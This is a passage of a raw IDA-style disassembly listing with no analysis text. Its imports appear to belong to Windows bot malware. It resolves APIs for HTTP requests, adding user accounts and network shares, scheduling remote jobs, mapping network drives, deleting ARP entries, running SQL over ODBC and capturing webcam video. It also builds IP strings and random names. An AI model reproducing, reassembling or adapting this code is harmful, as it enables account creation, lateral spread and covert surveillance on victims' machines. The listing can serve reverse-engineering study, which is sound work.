		cmp	dword_4CAFC4, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFD8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF8C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF4C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFA0, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF5C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF9C, ebx
		jz	short loc_40A2E7
		cmp	dword_4CB008, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF54, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF18, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF88, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAFF8, ebx
		jz	short loc_40A2E7
		cmp	dword_4CAF2C, ebx
		jz	short loc_40A2E7
		cmp	eax, ebx
		jnz	short loc_40A2F1
		jmp	short loc_40A2E7
; ---------------------------------------------------------------------------


loc_40A2DC:				; CODE XREF: sub_409B12+51Fj
		call	near ptr 2690DCCh
		nop
		mov	dword_4CB058, eax


loc_40A2E7:				; CODE XREF: sub_409B12+6BEj
					; sub_409B12+6CAj ...
		mov	dword_4CB054, 1


loc_40A2F1:				; CODE XREF: sub_409B12+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A3F6
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CAEB0, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CAE38, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CAF3C, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CAEE8, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CAF48, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CAF0C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CAE78, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CAE70, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CAE80, eax
		call	esi
		cmp	dword_4CAEB0, ebx
		mov	ecx, dword_4CAF0C
		mov	dword_4CAFA8, eax
		jz	short loc_40A3D2
		cmp	dword_4CAE38, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF3C, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAEE8, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAF48, ebx
		jz	short loc_40A3D2
		cmp	ecx, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE78, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE70, ebx
		jz	short loc_40A3D2
		cmp	dword_4CAE80, ebx
		jz	short loc_40A3D2
		cmp	eax, ebx
		jnz	short loc_40A3DC


loc_40A3D2:				; CODE XREF: sub_409B12+87Ej
					; sub_409B12+886j ...
		mov	dword_4CB05C, 1


loc_40A3DC:				; CODE XREF: sub_409B12+8BEj
		cmp	ecx, ebx
		jz	short loc_40A411
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CAF24, eax
		jnz	short loc_40A411
		jmp	short loc_40A40B
; ---------------------------------------------------------------------------


loc_40A3F6:				; CODE XREF: sub_409B12+7EAj
		nop
		call	near ptr 2690DCCh
		mov	dword_4CB060, eax
		mov	dword_4CB05C, 1


loc_40A40B:				; CODE XREF: sub_409B12+8E2j
		mov	dword_4CAF24, ebx


loc_40A411:				; CODE XREF: sub_409B12+8CCj
					; sub_409B12+8E0j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A45B
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CAEFC, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CB02C, eax
		call	esi
		cmp	dword_4CAEFC, ebx
		mov	dword_4CAE8C, eax
		jz	short loc_40A466
		cmp	dword_4CB02C, ebx
		jz	short loc_40A466
		cmp	eax, ebx
		jnz	short loc_40A470
		jmp	short loc_40A466
; ---------------------------------------------------------------------------


loc_40A45B:				; CODE XREF: sub_409B12+90Aj
		nop
		call	near ptr 2690DCCh
		mov	dword_4CB068, eax


loc_40A466:				; CODE XREF: sub_409B12+939j
					; sub_409B12+941j ...
		mov	dword_4CB064, 1


loc_40A470:				; CODE XREF: sub_409B12+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A577
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CAE68, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CAE40, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CAEB8, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CAEEC, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CB004, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CAEA0, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CAE4C, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CAE3C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CAED4, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CAFCC, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CAF84, eax
		call	esi
		cmp	dword_4CAE68, ebx
		mov	dword_4CAEA8, eax
		jz	short loc_40A582
		cmp	dword_4CAE40, ebx
		jz	short loc_40A582
		cmp	dword_4CAEB8, ebx
		jz	short loc_40A582
		cmp	dword_4CAEEC, ebx
		jz	short loc_40A582
		cmp	dword_4CB004, ebx
		jz	short loc_40A582
		cmp	dword_4CAEA0, ebx
		jz	short loc_40A582
		cmp	dword_4CAE4C, ebx
		jz	short loc_40A582
		cmp	dword_4CAE3C, ebx
		jz	short loc_40A582
		cmp	dword_4CAED4, ebx
		jz	short loc_40A582
		cmp	dword_4CAFCC, ebx
		jz	short loc_40A582
		cmp	dword_4CAF84, ebx
		jnz	short loc_40A58C
		jmp	short loc_40A582
; ---------------------------------------------------------------------------


loc_40A577:				; CODE XREF: sub_409B12+969j
		nop
		call	near ptr 2690DCCh
		mov	dword_4CB070, eax


loc_40A582:				; CODE XREF: sub_409B12+A11j
					; sub_409B12+A19j ...
		mov	dword_4CB06C, 1


loc_40A58C:				; CODE XREF: sub_409B12+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5C1
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CAE90, eax
		call	esi
		cmp	dword_4CAE90, ebx
		mov	dword_4CAF6C, eax
		jz	short loc_40A5CC
		cmp	eax, ebx
		jnz	short loc_40A5D6
		jmp	short loc_40A5CC
; ---------------------------------------------------------------------------


loc_40A5C1:				; CODE XREF: sub_409B12+A85j
		nop
		call	near ptr 2690DCCh
		mov	dword_4CB078, eax


loc_40A5CC:				; CODE XREF: sub_409B12+AA7j
					; sub_409B12+AADj
		mov	dword_4CB074, 1


loc_40A5D6:				; CODE XREF: sub_409B12+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A60B
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CAFF0, eax
		call	esi
		cmp	dword_4CAFF0, ebx
		mov	dword_4CAFEC, eax
		jz	short loc_40A616
		cmp	eax, ebx
		jnz	short loc_40A620
		jmp	short loc_40A616
; ---------------------------------------------------------------------------


loc_40A60B:				; CODE XREF: sub_409B12+ACFj
		nop
		call	near ptr 2690DCCh
		mov	dword_4CB080, eax


loc_40A616:				; CODE XREF: sub_409B12+AF1j
					; sub_409B12+AF7j
		mov	dword_4CB07C, 1


loc_40A620:				; CODE XREF: sub_409B12+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A67F
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CB01C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CB014, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CAFDC, eax
		call	esi
		cmp	dword_4CB01C, ebx
		mov	dword_4CAEAC, eax
		jz	short loc_40A68A
		cmp	dword_4CB014, ebx
		jz	short loc_40A68A
		cmp	dword_4CAFDC, ebx
		jz	short loc_40A68A
		cmp	eax, ebx
		jnz	short loc_40A694
		jmp	short loc_40A68A
; ---------------------------------------------------------------------------


loc_40A67F:				; CODE XREF: sub_409B12+B19j
		nop
		call	near ptr 2690DCCh
		mov	dword_4CB088, eax


loc_40A68A:				; CODE XREF: sub_409B12+B55j
					; sub_409B12+B5Dj ...
		mov	dword_4CB084, 1


loc_40A694:				; CODE XREF: sub_409B12+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A6C9
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CAEE0, eax
		call	esi
		cmp	dword_4CAEE0, ebx
		mov	dword_4CAFE8, eax
		jz	short loc_40A6D4
		cmp	eax, ebx
		jnz	short loc_40A6DE
		jmp	short loc_40A6D4
; ---------------------------------------------------------------------------


loc_40A6C9:				; CODE XREF: sub_409B12+B8Dj
		nop
		call	near ptr 2690DCCh
		mov	dword_4CB090, eax


loc_40A6D4:				; CODE XREF: sub_409B12+BAFj
					; sub_409B12+BB5j
		mov	dword_4CB08C, 1


loc_40A6DE:				; CODE XREF: sub_409B12+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A767
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CAFB0, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CAFFC, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CAF38, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CAEF0, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CAF90, eax
		call	esi
		cmp	dword_4CAFB0, ebx
		mov	dword_4CAF00, eax
		jz	short loc_40A772
		cmp	dword_4CAFFC, ebx
		jz	short loc_40A772
		cmp	dword_4CAF38, ebx
		jz	short loc_40A772
		cmp	dword_4CAEF0, ebx
		jz	short loc_40A772
		cmp	dword_4CAF90, ebx
		jz	short loc_40A772
		cmp	eax, ebx
		jnz	short loc_40A77C
		jmp	short loc_40A772
; ---------------------------------------------------------------------------


loc_40A767:				; CODE XREF: sub_409B12+BD7j
		call	near ptr 2690DCCh
		nop
		mov	dword_4CB098, eax


loc_40A772:				; CODE XREF: sub_409B12+C2Dj
					; sub_409B12+C35j ...
		mov	dword_4CB094, 1


loc_40A77C:				; CODE XREF: sub_409B12+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A7B1
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CAEC4, eax
		call	esi
		cmp	dword_4CAEC4, ebx
		mov	dword_4CAFA4, eax
		jz	short loc_40A7BC
		cmp	eax, ebx
		jnz	short loc_40A7C6
		jmp	short loc_40A7BC
; ---------------------------------------------------------------------------


loc_40A7B1:				; CODE XREF: sub_409B12+C75j
		nop
		call	near ptr 2690DCCh
		mov	dword_4CB0A0, eax


loc_40A7BC:				; CODE XREF: sub_409B12+C97j
					; sub_409B12+C9Dj
		mov	dword_4CB09C, 1


loc_40A7C6:				; CODE XREF: sub_409B12+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A7CE	proc near		; CODE XREF: sub_401ACD+2536p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CB034, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A816
		push	dword_4CB038
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A816:				; CODE XREF: sub_40A7CE+1Aj
		cmp	dword_4CB03C, esi
		jz	short loc_40A84A
		push	dword_4CB040
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A84A:				; CODE XREF: sub_40A7CE+4Ej
		cmp	dword_4CB044, esi
		jz	short loc_40A87E
		push	dword_4CB048
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A87E:				; CODE XREF: sub_40A7CE+82j
		cmp	dword_4CB04C, esi
		jz	short loc_40A8B2
		push	dword_4CB050
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8B2:				; CODE XREF: sub_40A7CE+B6j
		cmp	dword_4CB054, esi
		jz	short loc_40A8E6
		push	dword_4CB058
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A8E6:				; CODE XREF: sub_40A7CE+EAj
		cmp	dword_4CB05C, esi
		jz	short loc_40A91A
		push	dword_4CB060
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A91A:				; CODE XREF: sub_40A7CE+11Ej
		cmp	dword_4CB064, esi
		jz	short loc_40A94E
		push	dword_4CB068
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A94E:				; CODE XREF: sub_40A7CE+152j
		cmp	dword_4CB06C, esi
		jz	short loc_40A982
		push	dword_4CB070
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A982:				; CODE XREF: sub_40A7CE+186j
		cmp	dword_4CB074, esi
		jz	short loc_40A9B6
		push	dword_4CB078
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9B6:				; CODE XREF: sub_40A7CE+1BAj
		cmp	dword_4CB07C, esi
		jz	short loc_40A9EA
		push	dword_4CB080
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40A9EA:				; CODE XREF: sub_40A7CE+1EEj
		cmp	dword_4CB084, esi
		jz	short loc_40AA1E
		push	dword_4CB088
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA1E:				; CODE XREF: sub_40A7CE+222j
		cmp	dword_4CB08C, esi
		jz	short loc_40AA52
		push	dword_4CB090
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA52:				; CODE XREF: sub_40A7CE+256j
		cmp	dword_4CB094, esi
		jz	short loc_40AA86
		push	dword_4CB098
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AA86:				; CODE XREF: sub_40A7CE+28Aj
		cmp	dword_4CB09C, esi
		jz	short loc_40AABA
		push	dword_4CB0A0
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 20h


loc_40AABA:				; CODE XREF: sub_40A7CE+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D330
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40AAE7
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h


loc_40AAE7:				; CODE XREF: sub_40A7CE+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4151AC
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A7CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAF9	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5C95p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AB21
		push	[esp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jnz	short loc_40AB1A
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40AB1A:				; CODE XREF: sub_40AAF9+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AB21:				; CODE XREF: sub_40AAF9+Dj
		retn
sub_40AAF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AB22	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CAE90
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AB30
		call	ecx

locret_40AB30:				; CODE XREF: sub_40AB22+Aj
		retn
sub_40AB22	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB31	proc near		; CODE XREF: sub_401ACD:loc_403F5Dp

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CAFF0
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40ABF7
		sub	ecx, 32h
		jz	loc_40ABF0
		sub	ecx, 48h
		jz	short loc_40AB91
		sub	ecx, 6Eh
		jz	short loc_40AB8A


loc_40AB73:				; CODE XREF: sub_40AB31+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D544
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_40ABD1
; ---------------------------------------------------------------------------


loc_40AB8A:				; CODE XREF: sub_40AB31+40j
		push	offset unk_42D520
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40AB91:				; CODE XREF: sub_40AB31+3Bj
		push	[ebp+var_8]
		call	sub_41B4D5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41B590
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40ABBE
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CAFF0
		cmp	eax, edi
		jz	short loc_40ABF7
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------


loc_40ABBE:				; CODE XREF: sub_40AB31+79j
		push	offset unk_42D4F0


loc_40ABC3:				; CODE XREF: sub_40AB31+5Ej
					; sub_40AB31+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_40ABD1:				; CODE XREF: sub_40AB31+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_4151AC
		pop	ecx


loc_40ABE1:				; CODE XREF: sub_40AB31+C8j
					; sub_40AB31+DCj
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40ABF0:				; CODE XREF: sub_40AB31+32j
		push	offset unk_42D4C0
		jmp	short loc_40ABC3
; ---------------------------------------------------------------------------


loc_40ABF7:				; CODE XREF: sub_40AB31+29j
					; sub_40AB31+89j
		cmp	[esi], edi
		jbe	short loc_40ABE1
		lea	ebx, [esi+4]


loc_40ABFE:				; CODE XREF: sub_40AB31+DAj
		push	ebx
		call	dword_4CAFEC
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40ABFE
		jmp	short loc_40ABE1
sub_40AB31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC0F	proc near		; CODE XREF: sub_401ACD+2247p
					; sub_401ACD+2398p ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAF18
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CB0A4
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41B886
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AC0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC68	proc near		; CODE XREF: sub_412B08+24Cp
					; sub_412B08+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AC91
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AC84:				; CODE XREF: sub_40AC68+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AC84
		pop	edi
		jmp	short loc_40AC95
; ---------------------------------------------------------------------------


loc_40AC91:				; CODE XREF: sub_40AC68+Aj
		mov	edx, [esp+4+arg_0]


loc_40AC95:				; CODE XREF: sub_40AC68+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AC9F
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AC9F:				; CODE XREF: sub_40AC68+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AC68	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ACB5	proc near		; CODE XREF: sub_40B08D+49p
					; DATA XREF: ___:off_42D590o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26A0B9Fh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D5F8[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD1D


loc_40ACF7:				; CODE XREF: sub_40ACB5+66j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACF7


loc_40AD1D:				; CODE XREF: sub_40ACB5+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40ACB5	endp

; ---------------------------------------------------------------------------
		dw 5756h
		db 90h
		db 0E8h, 75h, 5Eh
; ---------------------------------------------------------------------------
		sub	[edx], eax
		push	eax
		call	sub_41B8D8
		mov	edi, [esp+10h]
		mov	dword ptr [esp], offset	asc_42913C ; "-"
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41B980
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AD7B


loc_40AD55:				; CODE XREF: ___:0040AD79j
		call	sub_41B8E2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B464
		push	1Ch
		push	edi
		call	sub_41B980
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AD55


loc_40AD7B:				; CODE XREF: ___:0040AD53j
		mov	eax, edi
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AD80	proc near		; CODE XREF: sub_401ACD+69CCp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	near ptr 26A0B9Fh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ADC3


loc_40ADAD:				; CODE XREF: sub_40AD80+41j
		call	sub_41B8E2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ADAD


